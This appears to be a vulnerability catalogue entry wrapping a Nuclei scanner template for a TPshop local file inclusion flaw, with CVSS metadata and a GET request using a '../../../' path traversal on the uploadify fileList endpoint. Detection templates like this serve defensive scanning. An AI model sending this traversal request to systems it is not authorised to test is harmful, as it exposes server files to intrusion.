SecurityContext

tpshop-directory-traversal: TPshop - Local File Inclusion

Classification

  • Cwe: CWE-22
  • Cvss score: 7.5
  • Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Not known: epss score, epss percentile, cpe

Metadata

  • Max-request: 1

Labels

  • Name: TPshop - Local File Inclusion
  • Impact: Attackers can include arbitrary local files, potentially leading to code execution or sensitive information disclosure.
  • Remediation: Update to the latest version of TPshop.
  • Vulnerability type: file_inclusion
  • Vulnerability impact: file_system_read, remote_code_execution
  • Requirement type: none
  • Labels source: securitycontext
  • Not known: requirements, from cve

```yaml

id: tpshop-directory-traversal

info:

name: TPshop - Local File Inclusion

author: pikpikcu

severity: high

description: TPshop is vulnerable to local file inclusion.

reference:

- https://mp.weixin.qq.com/s/3MkN4ZuUYpP2GgPbTzrxbA

classification:

cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

cvss-score: 7.5

cwe-id: CWE-22

metadata:

max-request: 1

tags: tpshop,lfi,vuln

http:

- method: GET

path:

- "{{BaseURL}}/index.php/Home/uploadify/fileList?type=.+&path=../../../"

matchers-condition: and

matchers:

- type: word

words:

- '"state":"SUCCESS"'

- type: status

status:

- 200

digest: 4a0a00473045022100d986a0cad8bbbf378fd5128f0ddb5c41527842940708dea675d41a403085f31c0220487371ea94655ffcf3c07d205354e906aa6c9ec8de39bfcc937052ea3fb3cd9d:922c64590222798bb761d5b6d8e72950

```